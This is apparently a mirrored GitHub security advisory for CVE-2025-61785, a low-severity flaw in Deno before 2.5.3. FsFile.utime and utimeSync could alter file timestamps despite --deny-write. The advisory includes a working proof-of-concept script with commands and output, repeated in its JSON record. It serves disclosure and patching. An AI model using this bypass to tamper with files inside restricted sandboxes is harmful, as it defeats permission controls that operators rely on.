ghsa-vg2r-rmgp-cgqj
Vulnerability from github
Summary
Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.
It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).
Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.
PoC
Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3
touch test.txt ```
```js // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat();
await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
const fileInfoAfter = await file.stat();
console.log(`BEFORE (utime)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utime)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2 function poc2(){ using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync();
file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
const fileInfoAfter = file.statSync();
console.log(`BEFORE (utimeSync)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utimeSync)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3 async function poc3(){ // not executed await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }
// https://docs.deno.com/api/deno/~/Deno.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4 function poc4(){ // not executed Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }
async function main(){ const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main() ```
Output:
- deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
-
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2PermissionStatus { state: "denied", onchange: null } BEFORE (utimeSync) 2000 2000 AFTER (utimeSync) 2001 2001 -
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ... -
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ...
Impact
Permission model bypass
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "deno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61785"
],
"database_specific": {
"cwe_ids": [
"CWE-266"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-07T22:36:36Z",
"nvd_published_at": "2025-10-08T01:15:32Z",
"severity": "LOW"
},
"details": "### Summary\n\n`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.\n\nIt\u0027s possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).\n\nSimilar APIs like `Deno.utime` and `Deno.utimeSync` require\u00a0`allow-write`\u00a0permission, however, when a file is opened, even with read only flags and deny-write permission, it\u0027s still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test.txt\n```\n\n```js\n// touch test.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1\nasync function poc1(){\n using file = await Deno.open(\"./test.txt\", { read: true, write: false});\n\n const fileInfoBefore = await file.stat();\n \n await file.utime(new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n \n const fileInfoAfter = await file.stat();\n \n \n console.log(`BEFORE (utime)`)\n console.log(new Date(fileInfoBefore.mtime).getFullYear())\n console.log(new Date(fileInfoBefore.atime).getFullYear())\n \n \n console.log(`AFTER (utime)`)\n console.log(new Date(fileInfoAfter.mtime).getFullYear())\n console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2\nfunction poc2(){\n using file = Deno.openSync(\"./test.txt\", { read: true, write: false});\n\n const fileInfoBefore = file.statSync();\n \n file.utimeSync(new Date(\"2001-01-01\"), new Date(\"2001-01-01\"));\n \n const fileInfoAfter = file.statSync();\n \n \n console.log(`BEFORE (utimeSync)`)\n console.log(new Date(fileInfoBefore.mtime).getFullYear())\n console.log(new Date(fileInfoBefore.atime).getFullYear())\n \n \n console.log(`AFTER (utimeSync)`)\n console.log(new Date(fileInfoAfter.mtime).getFullYear())\n console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3\nasync function poc3(){\n // not executed\n await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4\nfunction poc4(){\n // not executed\n Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n\nasync function main(){\n const poc = Deno.args[0] || 1;\n\n const status = await Deno.permissions.query({ name: \"write\", path: \"./\" });\n console.log(status);\n switch (poc) {\n case \"1\":\n poc1()\n break;\n case \"2\":\n poc2()\n break;\n case \"3\":\n poc3()\n break;\n case \"4\":\n poc4()\n break;\n default:\n poc1()\n }\n}\n\nmain()\n```\n\nOutput:\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utime)\n2025\n2025\nAFTER (utime)\n2000\n2000\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utimeSync)\n2000\n2000\nAFTER (utimeSync)\n2001\n2001\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n ^\n ...\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n ^\n ...\n```\n\n\n### Impact\n\nPermission model bypass",
"id": "GHSA-vg2r-rmgp-cgqj",
"modified": "2025-10-13T15:17:42Z",
"published": "2025-10-07T22:36:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61785"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/pull/30872"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b"
},
{
"type": "PACKAGE",
"url": "https://github.com/denoland/deno"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/releases/tag/v2.2.15"
},
{
"type": "WEB",
"url": "https://github.com/denoland/deno/releases/tag/v2.5.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Deno\u0027s --deny-write check does not prevent permission bypass"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.